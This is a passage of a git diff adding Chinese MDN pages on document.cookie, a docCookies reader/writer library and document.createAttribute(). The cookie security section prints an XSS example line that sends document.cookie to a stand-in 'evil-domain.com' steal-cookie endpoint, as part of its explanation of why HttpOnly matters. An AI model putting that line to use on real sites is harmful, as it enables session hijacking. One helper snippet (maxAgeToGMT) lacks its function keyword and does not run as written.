(document.cookie.replace(/(?:(?:^|.*;\s*)someCookieName\s*\=\s*([^;]*).*$)|^.*$/, "$1") !== "true") { + alert("Do something here!"); + document.cookie = "someCookieName=true; expires=Fri, 31 Dec 9999 23:59:59 GMT; path=/"; +} +} +</pre> + +<h2 id="sect1"></h2> + +<h2 id="一个小框架：一个完整支持unicode的cookie读取写入器">一个小框架：一个完整支持unicode的cookie读取/写入器</h2> + +<p>作为一个格式化过的字符串，cookie的值有时很难被自然地处理。下面的库的目的是通过定义一个和<code><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/API/DOM/Storage#Storage">Storage对象</a></code>部分<code>一致的</code>对象（docCookies），简化<code style="font-style: normal;">document.cookie</code> 的获取方法。它提供完全的Unicode支持。</p> + +<pre class="brush: js notranslate">/*\ +|*| +|*| :: cookies.js :: +|*| +|*| A complete cookies reader/writer framework with full unicode support. +|*| +|*| https://developer.mozilla.org/en-US/docs/DOM/document.cookie +|*| +|*| This framework is released under the GNU Public License, version 3 or later. +|*| http://www.gnu.org/licenses/gpl-3.0-standalone.html +|*| +|*| Syntaxes: +|*| +|*| * docCookies.setItem(name, value[, end[, path[, domain[, secure]]]]) +|*| * docCookies.getItem(name) +|*| * docCookies.removeItem(name[, path], domain) +|*| * docCookies.hasItem(name) +|*| * docCookies.keys() +|*| +\*/ + +var docCookies = { + getItem: function (sKey) { + return decodeURIComponent(document.cookie.replace(new RegExp("(?:(?:^|.*;)\\s*" + encodeURIComponent(sKey).replace(/[-.+*]/g, "\\$&") + "\\s*\\=\\s*([^;]*).*$)|^.*$"), "$1")) || null; + }, + setItem: function (sKey, sValue, vEnd, sPath, sDomain, bSecure) { + if (!sKey || /^(?:expires|max\-age|path|domain|secure)$/i.test(sKey)) { return false; } + var sExpires = ""; + if (vEnd) { + switch (vEnd.constructor) { + case Number: + sExpires = vEnd === Infinity ? "; expires=Fri, 31 Dec 9999 23:59:59 GMT" : "; max-age=" + vEnd; + break; + case String: + sExpires = "; expires=" + vEnd; + break; + case Date: + sExpires = "; expires=" + vEnd.to<u>UTC</u>String(); + break; + } + } + document.cookie = encodeURIComponent(sKey) + "=" + encodeURIComponent(sValue) + sExpires + (sDomain ? "; domain=" + sDomain : "") + (sPath ? "; path=" + sPath : "") + (bSecure ? "; secure" : ""); + return true; + }, + removeItem: function (sKey, sPath, sDomain) { + if (!sKey || !this.hasItem(sKey)) { return false; } + document.cookie = encodeURIComponent(sKey) + "=; expires=Thu, 01 Jan 1970 00:00:00 GMT" + ( sDomain ? "; domain=" + sDomain : "") + ( sPath ? "; path=" + sPath : ""); + return true; + }, + hasItem: function (sKey) { + return (new RegExp("(?:^|;\\s*)" + encodeURIComponent(sKey).replace(/[-.+*]/g, "\\$&") + "\\s*\\=")).test(document.cookie); + }, + keys: /* optional method: you can safely remove it! */ function () { + var aKeys = document.cookie.replace(/((?:^|\s*;)[^\=]+)(?=;|$)|^\s*|\s*(?:\=[^;]*)?(?:\1|$)/g, "").split(/\s*(?:\=[^;]*)?;\s*/); + for (var nIdx = 0; nIdx < aKeys.length; nIdx++) { aKeys[nIdx] = decodeURIComponent(aKeys[nIdx]); } + return aKeys; + } +};</pre> + +<div class="note"><strong>Note:</strong> 对于永久cookie我们用了<code>Fri, 31 Dec 9999 23:59:59 GMT</code>作为过期日。如果你不想使用这个日期，可使用<em><a href="http://en.wikipedia.org/wiki/Year_2038_problem" title="http://en.wikipedia.org/wiki/Year_2038_problem">世界末日</a></em><code>Tue, 19 Jan 2038 03:14:07 GMT，</code>它是32位带符号整数能表示从1 January 1970 00:00:00 UTC开始的最大秒长(即<code>01111111111111111111111111111111</code>, 是 <code>new Date(0x7fffffff * 1e3)</code>).</div> + +<h3 id="写入cookie">写入cookie</h3> + +<h5 id="语法">语法</h5> + +<pre class="syntaxbox notranslate"><code>docCookies.setItem(<em>name</em>, <em>value</em>[, <em>end</em>[, <em>path</em>[, <em>domain</em>[, <em>secure</em>]]]])</code></pre> + +<h5 id="描述">描述</h5> + +<p>创建或覆盖一个cookie</p> + +<h5 id="参数">参数</h5> + +<dl> + <dt><code>name</code> (必要)</dt> + <dd>要创建或覆盖的cookie的名字 (<a href="/en-US/docs/JavaScript/Reference/Global_Objects/String" title="JavaScript/Reference/Global_Objects/String"><code>string</code></a>)。</dd> + <dt><code>value</code> (必要)</dt> + <dd>cookie的值 (<a href="/en-US/docs/JavaScript/Reference/Global_Objects/String" title="JavaScript/Reference/Global_Objects/String"><code>string</code></a>)。</dd> + <dt><code>end</code> <em>(可选)</em></dt> + <dd><a href="#new-cookie_max-age"><code>最大年龄</code></a>的秒数 (一年为31536e3， 永不过期的cookie为<a href="/en-US/docs/JavaScript/Reference/Global_Objects/Infinity" title="JavaScript/Reference/Global_Objects/Infinity"><code>Infinity</code></a>) ，或者过期时间的<a href="/en-US/docs/JavaScript/Reference/Global_Objects/Date/toGMTString" title="/en-US/docs/JavaScript/Reference/Global_Objects/Date/toGMTString"><code>GMTString</code></a>格式或<code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Date" title="/en-US/docs/JavaScript/Reference/Global_Objects/Date">Date对象</a></code>; 如果没有定义则会在会话结束时过期 (<a href="/en-US/docs/JavaScript/Reference/Global_Objects/Number" title="JavaScript/Reference/Global_Objects/Number"><code>number</code></a> – 有限的或 <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Infinity" title="JavaScript/Reference/Global_Objects/Infinity"><code>Infinity</code></a> – <a href="/en-US/docs/JavaScript/Reference/Global_Objects/String" title="JavaScript/Reference/Global_Objects/String"><code>string</code></a>, <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Date" title="JavaScript/Reference/Global_Objects/Date"><code>Date</code> object</a> or <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/null" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/null"><code>null</code></a>)。</dd> + <dt><code>path</code> <em>(可选)</em></dt> + <dd>例如 '/', '/mydir'。 如果没有定义，默认为当前文档位置的路径。(<a href="/en-US/docs/JavaScript/Reference/Global_Objects/String" title="JavaScript/Reference/Global_Objects/String"><code>string</code></a> or <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/null" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/null"><code>null</code></a>)。路径必须为绝对路径（参见 <a href="http://www.ietf.org/rfc/rfc2965.txt">RFC 2965</a>）。关于如何在这个参数使用相对路径的方法请参见<a href="#Using_relative_URLs_in_the_path_parameter" style="text-decoration: underline;">这段</a>。</dd> + <dt><code>domain</code> <em>(可选)</em></dt> + <dd>例如 'example.com'， '.example.com' (包括所有子域名), 'subdomain.example.com'。如果没有定义，默认为当前文档位置的路径的域名部分 (<code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/String" title="JavaScript/Reference/Global_Objects/String">string</a><font face="Open Sans, sans-serif">或</font></code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/null" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/null"><code>null</code></a>)。</dd> + <dt><code>secure</code> <em>(可选)</em></dt> + <dd>cookie只会被https传输 (<a href="/en-US/docs/JavaScript/Reference/Global_Objects/Boolean" title="JavaScript/Reference/Global_Objects/Boolean"><code>boolean</code></a>或<a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/null" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/null"><code>null</code></a>)。</dd> +</dl> + +<h3 id="得到cookie">得到cookie</h3> + +<h5 id="语法_2">语法</h5> + +<pre class="syntaxbox notranslate"><code>docCookies.getItem(<em>name</em>)</code></pre> + +<h5 id="描述_2">描述</h5> + +<p>读取一个cookie。如果cookie不存在返回<a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/null" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/null"><code>null</code></a>。</p> + +<h5 id="参数_2">参数</h5> + +<dl> + <dt><code>name</code></dt> + <dd>读取的cookie名 (<a href="/en-US/docs/JavaScript/Reference/Global_Objects/String" title="JavaScript/Reference/Global_Objects/String"><code>string</code></a>).</dd> +</dl> + +<h3 id="移除cookie">移除cookie</h3> + +<h5 id="Syntax_2">Syntax</h5> + +<pre class="syntaxbox notranslate"><code>docCookies.removeItem(<em>name</em>[, <em>path</em>],domain)</code></pre> + +<h5 id="描述_3">描述</h5> + +<p>删除一个cookie。</p> + +<h5 id="参数_3">参数</h5> + +<dl> + <dt><code>name</code></dt> + <dd>要移除的cookie名(<a href="/en-US/docs/JavaScript/Reference/Global_Objects/String" title="JavaScript/Reference/Global_Objects/String"><code>string</code></a>).</dd> + <dt><code>path</code> <em>(</em>可选<em>)</em></dt> + <dd>例如 '/', '/mydir'。 如果没有定义，默认为当前文档位置的路径。(<a href="/en-US/docs/JavaScript/Reference/Global_Objects/String" title="JavaScript/Reference/Global_Objects/String"><code>string</code></a> or <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/null" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/null"><code>null</code></a>)。路径必须为绝对路径（参见 <a href="http://www.ietf.org/rfc/rfc2965.txt">RFC 2965</a>）。关于如何在这个参数使用相对路径的方法请参见<a href="#Using_relative_URLs_in_the_path_parameter" style="text-decoration: underline;">这段</a>。</dd> + <dt><code>domain </code>(可选)</dt> + <dd>例如 'example.com'， '.example.com' (包括所有子域名), 'subdomain.example.com'。如果没有定义，默认为当前文档位置的路径的域名部分 (<code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/String" title="JavaScript/Reference/Global_Objects/String">string</a><font face="Open Sans, sans-serif">或</font></code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/null" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/null"><code>null</code></a>)。</dd> +</dl> + +<h3 id="检测cookie">检测cookie</h3> + +<h5 id="语法_3">语法</h5> + +<pre class="syntaxbox notranslate"><code>docCookies.hasItem(<em>name</em>)</code></pre> + +<h5 id="描述_4">描述</h5> + +<p>检查一个cookie是否存在</p> + +<h5 id="参数_4">参数</h5> + +<dl> + <dt><code>name</code></dt> + <dd>要检查的cookie名 (<a href="/en-US/docs/JavaScript/Reference/Global_Objects/String" title="JavaScript/Reference/Global_Objects/String"><code>string</code></a>).</dd> +</dl> + +<h3 id="得到所有cookie的列表">得到所有cookie的列表</h3> + +<h5 id="语法_4">语法</h5> + +<pre class="syntaxbox notranslate"><code>docCookies.keys()</code></pre> + +<h5 id="描述_5">描述</h5> + +<p>返回一个这个路径所有可读的cookie的数组。</p> + +<h3 id="示例用法">示例用法:</h3> + +<pre class="brush: js notranslate">docCookies.setItem("test0", "Hello world!"); +docCookies.setItem("test1", "Unicode test: \u00E0\u00E8\u00EC\u00F2\u00F9", Infinity); +docCookies.setItem("test2", "Hello world!", new Date(2020, 5, 12)); +docCookies.setItem("test3", "Hello world!", new Date(2027, 2, 3), "/blog"); +docCookies.setItem("test4", "Hello world!", "Sun, 06 Nov 2022 21:43:15 GMT"); +docCookies.setItem("test5", "Hello world!", "Tue, 06 Dec 2022 13:11:07 GMT", "/home"); +docCookies.setItem("test6", "Hello world!", 150); +docCookies.setItem("test7", "Hello world!", 245, "/content"); +docCookies.setItem("test8", "Hello world!", null, null, "example.com"); +docCookies.setItem("test9", "Hello world!", null, null, null, true); +docCookies.setItem("test1;=", "Safe character test;=", Infinity); + +alert(docCookies.keys().join("\n")); +alert(docCookies.getItem("test1")); +alert(docCookies.getItem("test5")); +docCookies.removeItem("test1"); +docCookies.removeItem("test5", "/home"); +alert(docCookies.getItem("test1")); +alert(docCookies.getItem("test5")); +alert(docCookies.getItem("unexistingCookie")); +alert(docCookies.getItem()); +alert(docCookies.getItem("test1;="));</pre> + +<h2 id="Notes" name="Notes">安全</h2> + +<p>路径限制并<strong>不能</strong>阻止从其他路径访问cookie. 使用简单的DOM即可轻易地绕过限制(比如创建一个指向限制路径的, 隐藏的<a href="/zh-CN/docs/Web/HTML/Element/iframe">iframe</a>, 然后访问其 <code>contentDocument.cookie</code> 属性). 保护cookie不被非法访问的唯一方法是将它放在另一个域名/子域名之下, 利用<a href="/zh-CN/docs/Web/Security/Same-origin_policy">同源策略</a>保护其不被读取.</p> + +<p>Web应用程序通常使用cookies来标识用户身份及他们的登录会话. 因此通过窃听这些cookie, 就可以劫持已登录用户的会话. 窃听的cookie的常见方法包括社会工程和XSS攻击 -</p> + +<pre class="notranslate"><code>(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;</code></pre> + +<p><code>HttpOnly</code> 属性可以阻止通过javascript访问cookie, 从而一定程度上遏制这类攻击. 参见 <a class="external" href="http://www.nczonline.net/blog/2009/05/12/cookies-and-security/" title="http://www.nczonline.net/blog/2009/05/12/cookies-and-security/">Cookies and Security</a>.</p> + +<h2 id="Specification" name="Specification">备注</h2> + +<ul> + <li>从 Firefox 2 起, 有更好的客户端存储机制用以替代 cookie - <a href="/en-US/docs/DOM/Storage" title="DOM/Storage">WHATWG DOM Storage</a>.</li> + <li>你可以通过更新一个cookie的过期时间为0来删除一个cookie。</li> + <li>请注意, 更多/更大的 cookies 意味着每个请求都要包含更繁重的数据传输. 如果您只是需要存储些 "client-only" 的数据, 那么郑重建议您使用 <a href="/en-US/docs/DOM/Storage" title="DOM/Storage">WHATWG DOM Storage</a>.</li> +</ul> + +<h2 id="Specification" name="Specification">规范</h2> + +<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-8747038">DOM Level 2: HTMLDocument.cookie</a></p> + +<h2 id="参见">参见</h2> + +<ul> + <li><a href="/en-US/docs/Web_Development/HTTP_cookies" title="HTTP cookies">HTTP cookies</a></li> + <li><a href="/en-US/docs/Code_snippets/Cookies" title="Cookies">Cookies</a> (Code snippets)</li> +</ul> diff --git a/files/zh-cn/web/api/document/cookie/simple_document.cookie_framework/index.html b/files/zh-cn/web/api/document/cookie/simple_document.cookie_framework/index.html new file mode 100644 index 0000000000..450751cefa --- /dev/null +++ b/files/zh-cn/web/api/document/cookie/simple_document.cookie_framework/index.html @@ -0,0 +1,218 @@ +--- +title: 简单的cookie框架 +slug: Web/API/Document/cookie/Simple_document.cookie_framework +tags: + - Cookies + - cookie +translation_of: Web/API/Document/cookie/Simple_document.cookie_framework +--- +<h2 id="一个小型框架_一个完整的cookies读写器对Unicode充分支持">一个小型框架: 一个完整的cookies读/写器对Unicode充分支持</h2> + +<p>由于Cookie只是特殊格式的字符串，因此有时很难管理它们。 以下库旨在通过定义一个与一个<a href="https://developer.mozilla.org/en-US/docs/Web/Guide/API/DOM/Storage#Storage"><code>Storage</code> </a>对象部分一致的对象(<code>docCookies</code>)来抽象对<code>document.cookie</code>的访问。</p> + +<p> 以下代码也<a href="https://github.com/madmurphy/cookies.js">在GitHub上获取</a>。它是基于GNU General Public License v3.0 许可 (<a href="https://github.com/madmurphy/cookies.js/blob/master/LICENSE">许可链接</a>)</p> + +<h5 id="库">库</h5> + +<pre class="brush: js">/*\ +|*| +|*| :: cookies.js :: +|*| +|*| A complete cookies reader/writer framework with full unicode support. +|*| +|*| Revision #1 - September 4, 2014 +|*| +|*| https://developer.mozilla.org/en-US/docs/Web/API/document.cookie +|*| https://developer.mozilla.org/User:fusionchess +|*| https://github.com/madmurphy/cookies.js +|*| +|*| This framework is released under the GNU Public License, version 3 or later. +|*| http://www.gnu.org/licenses/gpl-3.0-standalone.html +|*| +|*| Syntaxes: +|*| +|*| * docCookies.setItem(name, value[, end[, path[, domain[, secure]]]]) +|*| * docCookies.getItem(name) +|*| * docCookies.removeItem(name[, path[, domain]]) +|*| * docCookies.hasItem(name) +|*| * docCookies.keys() +|*| +\*/ + +var docCookies = { + getItem: function (sKey) { + if (!sKey) { return null; } + return decodeURIComponent(document.cookie.replace(new RegExp("(?:(?:^|.*;)\\s*" + encodeURIComponent(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=\\s*([^;]*).*$)|^.*$"), "$1")) || null; + }, + setItem: function (sKey, sValue, vEnd, sPath, sDomain, bSecure) { + if (!sKey || /^(?:expires|max\-age|path|domain|secure)$/i.test(sKey)) { return false; } + var sExpires = ""; + if (vEnd) { + switch (vEnd.constructor) { + case Number: + sExpires = vEnd === Infinity ? "; expires=Fri, 31 Dec 9999 23:59:59 GMT" : "; max-age=" + vEnd; + break; + case String: + sExpires = "; expires=" + vEnd; + break; + case Date: + sExpires = "; expires=" + vEnd.toUTCString(); + break; + } + } + document.cookie = encodeURIComponent(sKey) + "=" + encodeURIComponent(sValue) + sExpires + (sDomain ? "; domain=" + sDomain : "") + (sPath ? "; path=" + sPath : "") + (bSecure ? "; secure" : ""); + return true; + }, + removeItem: function (sKey, sPath, sDomain) { + if (!this.hasItem(sKey)) { return false; } + document.cookie = encodeURIComponent(sKey) + "=; expires=Thu, 01 Jan 1970 00:00:00 GMT" + (sDomain ? "; domain=" + sDomain : "") + (sPath ? "; path=" + sPath : ""); + return true; + }, + hasItem: function (sKey) { + if (!sKey) { return false; } + return (new RegExp("(?:^|;\\s*)" + encodeURIComponent(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=")).test(document.cookie); + }, + keys: function () { + var aKeys = document.cookie.replace(/((?:^|\s*;)[^\=]+)(?=;|$)|^\s*|\s*(?:\=[^;]*)?(?:\1|$)/g, "").split(/\s*(?:\=[^;]*)?;\s*/); + for (var nLen = aKeys.length, nIdx = 0; nIdx < nLen; nIdx++) { aKeys[nIdx] = decodeURIComponent(aKeys[nIdx]); } + return aKeys; + } +};</pre> + +<div class="note"><strong>Note:</strong> 对于<em>never-expire-cookies 我们使用一个随意的遥远日期</em><code>Fri, 31 Dec 9999 23:59:59 GMT</code>. 处于任何原因，你担心这样一个日期，使用 <em><a href="http://en.wikipedia.org/wiki/Year_2038_problem">惯例世界末日</a></em>Tue, 19 Jan 2038 03:14:07 GMT - 这是自1970年1月1日00:00:00 UTC以来使用 <a href="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Operators/Bitwise_Operators#Signed_32-bit_integers">有符号的32位二进制整数</a>表示的最大秒数。(i.e., <code>01111111111111111111111111111111</code> which is <code>new Date(0x7fffffff * 1e3)</code>).</div> + +<h3 id="cookie的写入">cookie的写入</h3> + +<h5 id="语法">语法</h5> + +<pre class="syntaxbox"><code>docCookies.setItem(<em>name</em>, <em>value</em>[, <em>end</em>[, <em>path</em>[, <em>domain</em>[, <em>secure</em>]]]])</code></pre> + +<h5 id="Description">Description</h5> + +<p>新增/重写一个 cookie.</p> + +<h5 id="参数">参数</h5> + +<dl> + <dt><code>name</code></dt> + <dd>新增/重写一个 cookie的 <a href="#new-cookie_syntax">名字</a> (<a href="/en-US/docs/JavaScript/Reference/Global_Objects/String"><code>字符传</code></a>).</dd> + <dt><code>value</code></dt> + <dd>cookie的<a href="#new-cookie_syntax">值</a> (<a href="/en-US/docs/JavaScript/Reference/Global_Objects/String"><code>字符串</code></a>).</dd> + <dt><code>end</code> <font face="Helvetica, arial, sans-serif"><span style="background-color: #eeeeee; font-size: 14px; font-weight: 400;">可选</span></font></dt> + <dd><code><a href="#new-cookie_max-age">max-age</a>（最大有效时间）单位秒</code> (e.g. <code>31536e3</code> 表示一年, <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Infinity"><code>Infinity</code> </a> 表示永不过期的cookie), 或者以<code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Date/toGMTString">GMTString</a></code> 格式或者<a href="/en-US/docs/JavaScript/Reference/Global_Objects/Date"><code>Date</code> object</a> 的<a href="#new-cookie_expires"><code>expires</code></a> date（过期时间）; 如果没有，指定的cookie将在会话结束时到期 (<a href="/en-US/docs/JavaScript/Reference/Global_Objects/Number"><code>number</code></a> – finite or <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Infinity"><code>Infinity</code></a> – <a href="/en-US/docs/JavaScript/Reference/Global_Objects/String"><code>string</code></a>, <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Date"><code>Date</code> object</a> or <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/null"><code>null</code></a>). + <div class="note" id="max-age_note" style="margin-top: 1em;"> + <p><strong>Note:</strong> 尽管 <a href="https://tools.ietf.org/html/rfc6265#section-5.2.2">officially defined in rfc6265</a>, <code>max-age</code> 在 Internet Explorer, Edg和一些移动端浏览器上不兼容. 因此，将数字传递给<code>end</code>参数可能无法按预期工作. 可能的解决方案可能是将相对时间转换为绝对时间。例如，以下代码：</p> + + <pre class="brush: js">docCookies.setItem("mycookie", "Hello world!", 150);</pre> + + <p>可以使用绝对日期重写，如下例所示：</p> + + <pre class="brush: js"> maxAgeToGMT (nMaxAge) { + return nMaxAge === Infinity ? "Fri, 31 Dec 9999 23:59:59 GMT" : (new Date(nMaxAge * 1e3 + Date.now())).toUTCString(); +} + +docCookies.setItem("mycookie", "Hello world!", maxAgeToGMT(150));</pre> + + <p>在上面的代码中，函数<code> maxAgeToGMT() </code>用于从相对时间（即，从“age”）创建<code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Date/toGMTString">GMTString</a>.</code></p> + </div> + </dd> + <dt><code>path</code> <span class="inlineIndicator optional optionalInline">可选</span></dt> + <dd>可访问此cookie的路径. 例如，“/”，“/ mydir”;如果未指定，则默认为当前文档位置的当前路径(<a href="/en-US/docs/JavaScript/Reference/Global_Objects/String"><code>string</code></a> or <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/null"><code>null</code></a>). The path must be <em>absolute</em> (see <a href="http://www.ietf.org/rfc/rfc2965.txt">RFC 2965</a>). For more information on how to use relative paths in this argument, see <a href="#Using_relative_URLs_in_the_path_parameter">this paragraph</a>.</dd> + <dt><code>domain</code> <span class="inlineIndicator optional optionalInline">可选</span></dt> + <dd>可访问此cookie的域名. 例如，<code>“example.com”</code>，<code>“.example.com”</code>（包括所有子域）或<code>“subdomain.example.com”</code>; 如果未指定，则默认为当前文档位置的主机端口(<a href="/en-US/docs/JavaScript/Reference/Global_Objects/String"><code>string</code></a> or <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/null"><code>null</code></a>).</dd> + <dt><code>secure</code> <span class="inlineIndicator optional optionalInline">可选</span></dt> + <dd>cookie将仅通过https安全协议传输 (<a href="/en-US/docs/JavaScript/Reference/Global_Objects/Boolean"><code>boolean</code></a> or <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/null"><code>null</code></a>).</dd> +</dl> + +<h3 id="获取一个cookie">获取一个cookie</h3> + +<h5 id="语法_2">语法</h5> + +<pre class="syntaxbox"><code>docCookies.getItem(<em>name</em>)</code></pre> + +<h5 id="描述">描述</h5> + +<p>读一个cookie。如果cookie不存在，则返回null值。Parameters</p> + +<h5 id="参数_2">参数</h5> + +<dl> + <dt><code>name</code></dt> + <dd>读取cookie的名字 (<a href="/en-US/docs/JavaScript/Reference/Global_Objects/String"><code>string</code></a>).</dd> +</dl> + +<h3 id="移除一个cookie">移除一个cookie</h3> + +<h5 id="语法_3">语法</h5> + +<pre class="syntaxbox"><code>docCookies.removeItem(<em>name</em>[, <em>path</em>[, <em>domain</em>]])</code></pre> + +<h5 id="描述_2">描述</h5> + +<p>删除一个cookie.</p> + +<h5 id="参数_3">参数</h5> + +<dl> + <dt><code>name</code></dt> + <dd>待移除cookie的名字 (<a href="/en-US/docs/JavaScript/Reference/Global_Objects/String"><code>string</code></a>).</dd> + <dt><code>path</code> <span class="inlineIndicator optional optionalInline">可选</span></dt> + <dd>例如，"<code>/"</code>，"<code>/ </code><code>mydir"</code>;如果未指定，则默认为当前文档位置的当前路径 (<a href="/en-US/docs/JavaScript/Reference/Global_Objects/String"><code>string</code></a> or <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/null"><code>null</code></a>). The path must be <em>absolute</em> (see <a href="http://www.ietf.org/rfc/rfc2965.txt">RFC 2965</a>). For more information on how to use relative paths in this argument, see <a href="#Using_relative_URLs_in_the_path_parameter">this paragraph</a>.</dd> + <dt><code>domain</code> <span class="inlineIndicator optional optionalInline">可选</span></dt> + <dd>例如, <code>"example.com"</code>, 或者 <code>"subdomain.example.com"</code>; 如果未指定，则默认为当前文档位置的主机端口（字符串或null），但不包括子域。 (<a href="/en-US/docs/JavaScript/Reference/Global_Objects/String"><code>string</code></a> or <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/null"><code>null</code></a>), 但不包括子域名。与早期的规范相反，域名中的前置的点被忽略。如果指定了域，则始终包含子域。 + <div class="note"><strong>Note:</strong> 要删除跨子域的cookie，您需要想<code>setItem()样</code>在<code>removeItem()</code>中指定domain属性。</div> + </dd> +</dl> + +<h3 id="检查一个cookie（是否存在）">检查一个cookie（是否存在）</h3> + +<h5 id="语法_4">语法</h5> + +<pre class="syntaxbox"><code>docCookies.hasItem(<em>name</em>)</code></pre> + +<h5 id="描述_3">描述</h5> + +<p>检查当前位置是否存在cookie。</p> + +<h5 id="参数_4">参数</h5> + +<dl> + <dt><code>name</code></dt> + <dd>待检查cookie的名字 (<a href="/en-US/docs/JavaScript/Reference/Global_Objects/String"><code>string</code></a>).</dd> +</dl> + +<h3 id="获取所有cookie列表">获取所有cookie列表</h3> + +<h5 id="Syntax">Syntax</h5> + +<pre class="syntaxbox"><code>docCookies.keys()</code></pre> + +<h5 id="Description_2">Description</h5> + +<p>返回此位置的所有可读cookie的数组。</p> + +<h3 id="Example_usage">Example usage:</h3> + +<pre class="brush: js">docCookies.setItem("test0", "Hello world!"); +docCookies.setItem("test1", "Unicode test: \u00E0\u00E8\u00EC\u00F2\u00F9", Infinity); +docCookies.setItem("test2", "Hello world!", new Date(2020, 5, 12)); +docCookies.setItem("test3", "Hello world!", new Date(2027, 2, 3), "/blog"); +docCookies.setItem("test4", "Hello world!", "Wed, 19 Feb 2127 01:04:55 GMT"); +docCookies.setItem("test5", "Hello world!", "Fri, 20 Aug 88354 14:07:15 GMT", "/home"); +docCookies.setItem("test6", "Hello world!", 150); +docCookies.setItem("test7", "Hello world!", 245, "/content"); +docCookies.setItem("test8", "Hello world!", null, null, "example.com"); +docCookies.setItem("test9", "Hello world!", null, null, null, true); +docCookies.setItem("test1;=", "Safe character test;=", Infinity); + +alert(docCookies.keys().join("\n")); +alert(docCookies.getItem("test1")); +alert(docCookies.getItem("test5")); +docCookies.removeItem("test1"); +docCookies.removeItem("test5", "/home"); +alert(docCookies.getItem("test1")); +alert(docCookies.getItem("test5")); +alert(docCookies.getItem("unexistingCookie")); +alert(docCookies.getItem()); +alert(docCookies.getItem("test1;=")); +</pre> diff --git a/files/zh-cn/web/api/document/createattribute/index.html b/files/zh-cn/web/api/document/createattribute/index.html new file mode 100644 index 0000000000..6b9e743ce9 --- /dev/null +++ b/files/zh-cn/web/api/document/createattribute/index.html @@ -0,0 +1,90 @@ +--- +title: document.createAttribute() +slug: Web/API/Document/createAttribute +tags: + - API + - DOM + - 参考 + - 方法 +translation_of: Web/API/Document/createAttribute +--- +<div>{{ ApiRef("DOM") }}</div> + +<p><code><strong>Document.createAttribute()</strong></code> 方法创建并返回一个新的属性节点。这个对象创建一个实现了 {{domxref("Attr")}} 接口的节点。这个方式下DOM不限制节点能够添加的属性种类。</p> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox"><em>attribute</em> = document.createAttribute(name)</pre> + +<h3 id="参数">参数</h3> + +<ul> + <li><code>name</code> ，属性的属性名。</li> +</ul> + +<h3 id="返回值">返回值</h3> + +<p>一个 {{domxref("Attr")}} 节点。</p> + +<h3 id="异常">异常</h3> + +<ul> + <li><code>INVALID_CHARACTER_ERR</code> 如果参数含有非法的XML属性字符。</li> +</ul> + +<h2 id="例子">例子</h2> + +<pre class="brush:js">var node = document.getElementById("div1"); +var a = document.createAttribute("my_attrib"); +a.value = "newVal"; +node.setAttributeNode(a); +console.log(node.getAttribute("my_attrib")); // "newVal" +</pre> + +<h2 id="备注">备注</h2> + +<p>该方法的返回值是一个类型为 <code>Attr</code> 的节点。你可以通过为该节点的 <code>nodeValue</code> 属性赋值来设置该属性节点的属性值，也可以使用常用的 <a href="/zh-CN/docs/Web/API/Element/setAttribute">setAttribute()</a> 方法来替代该方法.</p> + +<h2 id="规范">规范</h2> + +<table class="spectable standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('DOM WHATWG','#dom-document-createattribute','Document.createAttribute()')}}</td> + <td>{{Spec2("DOM WHATWG")}}</td> + <td>大写字符的精确表现。</td> + </tr> + <tr> + <td>{{SpecName('DOM3 Core','core.html#ID-1084891198','Document.createAttribute()')}}</td> + <td>{{Spec2('DOM3 Core')}}</td> + <td>无变更。</td> + </tr> + <tr> + <td>{{SpecName('DOM2 Core','core.html#ID-1084891198','Document.createAttribute()')}}</td> + <td>{{Spec2('DOM2 Core')}}</td> + <td>无变更。</td> + </tr> + <tr> + <td>{{SpecName('DOM1','level-one-core.html#ID-1084891198','Document.createAttribute()')}}</td> + <td>{{Spec2('DOM1')}}</td> + <td>初始定义。</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<div class="hidden">这个页面的兼容性表是从格式化数据生成的，如果你想贡献数据，请check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>修改后给我们发送pull请求。</div> + +<p>{{Compat("api.Document.createAttribute")}}</p> + +<h2 id="参见">参见</h2> + +<ul> + <li>{{domxref("Document.createElement()")}}</li> +</ul> diff --git a/files/zh-cn/web/api/document/createcdatasection/index.html b/files/zh-cn/web/api/document/createcdatasection/index.html new file mode 100644 index 0000000000..298e0021fb --- /dev/null +++ b/files/zh-cn/web/api/document/createcdatasection/index.html @@ -0,0 +1,67 @@ +--- +title: Document.createCDATASection() +slug: 